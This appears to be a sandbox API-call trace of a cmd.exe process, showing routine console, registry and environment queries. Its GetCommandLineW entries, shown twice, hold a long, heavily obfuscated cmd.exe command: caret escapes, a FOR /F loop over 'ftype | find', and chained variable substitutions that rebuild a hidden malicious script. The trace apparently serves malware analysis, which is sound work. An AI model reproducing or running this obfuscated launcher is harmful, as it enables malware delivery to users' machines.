	[0056.106] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x2afcd0, dwLength=0x30 | out: lpBuffer=0x2afcd0*(BaseAddress=0x1b0000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.106] VirtualQuery (in: lpAddress=0x1b1000, lpBuffer=0x2afcd0, dwLength=0x30 | out: lpBuffer=0x2afcd0*(BaseAddress=0x1b1000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.106] VirtualQuery (in: lpAddress=0x1b4000, lpBuffer=0x2afcd0, dwLength=0x30 | out: lpBuffer=0x2afcd0*(BaseAddress=0x1b4000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.106] VirtualQuery (in: lpAddress=0x2b0000, lpBuffer=0x2afcd0, dwLength=0x30 | out: lpBuffer=0x2afcd0*(BaseAddress=0x2b0000, AllocationBase=0x2b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1e000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.106] GetConsoleOutputCP () returned 0x1b5
	[0056.106] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0056.106] SetConsoleCtrlHandler (HandlerRoutine=0x49e63184, Add=1) returned 1
	[0056.106] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.106] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0056.106] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.106] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 1
	[0056.107] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.107] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0056.107] _get_osfhandle (_FileHandle=0) returned 0x3
	[0056.107] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 1
	[0056.107] _get_osfhandle (_FileHandle=0) returned 0x3
	[0056.107] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0056.107] GetEnvironmentStringsW () returned 0x3eeb60*
	[0056.108] FreeEnvironmentStringsW (penv=0x3eeb60) returned 1
	[0056.108] GetEnvironmentStringsW () returned 0x3eeb60*
	[0056.108] FreeEnvironmentStringsW (penv=0x3eeb60) returned 1
	[0056.108] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2aec28 | out: phkResult=0x2aec28*=0x44) returned 0x0
	[0056.108] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2aec20, lpData=0x2aec40, lpcbData=0x2aec24*=0x1000 | out: lpType=0x2aec20*=0x0, lpData=0x2aec40*=0x18, lpcbData=0x2aec24*=0x1000) returned 0x2
	[0056.108] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2aec20, lpData=0x2aec40, lpcbData=0x2aec24*=0x1000 | out: lpType=0x2aec20*=0x4, lpData=0x2aec40*=0x1, lpcbData=0x2aec24*=0x4) returned 0x0
	[0056.108] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2aec20, lpData=0x2aec40, lpcbData=0x2aec24*=0x1000 | out: lpType=0x2aec20*=0x0, lpData=0x2aec40*=0x1, lpcbData=0x2aec24*=0x1000) returned 0x2
	[0056.108] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2aec20, lpData=0x2aec40, lpcbData=0x2aec24*=0x1000 | out: lpType=0x2aec20*=0x4, lpData=0x2aec40*=0x0, lpcbData=0x2aec24*=0x4) returned 0x0
	[0056.108] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2aec20, lpData=0x2aec40, lpcbData=0x2aec24*=0x1000 | out: lpType=0x2aec20*=0x4, lpData=0x2aec40*=0x40, lpcbData=0x2aec24*=0x4) returned 0x0
	[0056.108] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2aec20, lpData=0x2aec40, lpcbData=0x2aec24*=0x1000 | out: lpType=0x2aec20*=0x4, lpData=0x2aec40*=0x40, lpcbData=0x2aec24*=0x4) returned 0x0
	[0056.108] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2aec20, lpData=0x2aec40, lpcbData=0x2aec24*=0x1000 | out: lpType=0x2aec20*=0x0, lpData=0x2aec40*=0x40, lpcbData=0x2aec24*=0x1000) returned 0x2
	[0056.108] RegCloseKey (hKey=0x44) returned 0x0
	[0056.108] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2aec28 | out: phkResult=0x2aec28*=0x44) returned 0x0
	[0056.109] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2aec20, lpData=0x2aec40, lpcbData=0x2aec24*=0x1000 | out: lpType=0x2aec20*=0x0, lpData=0x2aec40*=0x40, lpcbData=0x2aec24*=0x1000) returned 0x2
	[0056.109] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2aec20, lpData=0x2aec40, lpcbData=0x2aec24*=0x1000 | out: lpType=0x2aec20*=0x4, lpData=0x2aec40*=0x1, lpcbData=0x2aec24*=0x4) returned 0x0
	[0056.109] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2aec20, lpData=0x2aec40, lpcbData=0x2aec24*=0x1000 | out: lpType=0x2aec20*=0x0, lpData=0x2aec40*=0x1, lpcbData=0x2aec24*=0x1000) returned 0x2
	[0056.109] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2aec20, lpData=0x2aec40, lpcbData=0x2aec24*=0x1000 | out: lpType=0x2aec20*=0x4, lpData=0x2aec40*=0x0, lpcbData=0x2aec24*=0x4) returned 0x0
	[0056.109] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2aec20, lpData=0x2aec40, lpcbData=0x2aec24*=0x1000 | out: lpType=0x2aec20*=0x4, lpData=0x2aec40*=0x9, lpcbData=0x2aec24*=0x4) returned 0x0
	[0056.109] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2aec20, lpData=0x2aec40, lpcbData=0x2aec24*=0x1000 | out: lpType=0x2aec20*=0x4, lpData=0x2aec40*=0x9, lpcbData=0x2aec24*=0x4) returned 0x0
	[0056.109] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2aec20, lpData=0x2aec40, lpcbData=0x2aec24*=0x1000 | out: lpType=0x2aec20*=0x0, lpData=0x2aec40*=0x9, lpcbData=0x2aec24*=0x1000) returned 0x2
	[0056.109] RegCloseKey (hKey=0x44) returned 0x0
	[0056.109] time (in: timer=0x0 | out: timer=0x0) returned 0x5be14a4b
	[0056.109] srand (_Seed=0x5be14a4b) 
	[0056.109] GetCommandLineW () returned="CMD.Exe                  /c ^F^o^r ; /^f ;; \"   tokens=  +2 delims=FeH\"  , %^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,%^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )"
	[0056.109] GetCommandLineW () returned="CMD.Exe                  /c ^F^o^r ; /^f ;; \"   tokens=  +2 delims=FeH\"  , %^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,%^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )"
	[0056.110] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0056.110] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3f0cd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\CMD.Exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0056.111] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0056.111] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0056.111] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.111] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0056.111] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0056.111] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0056.111] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
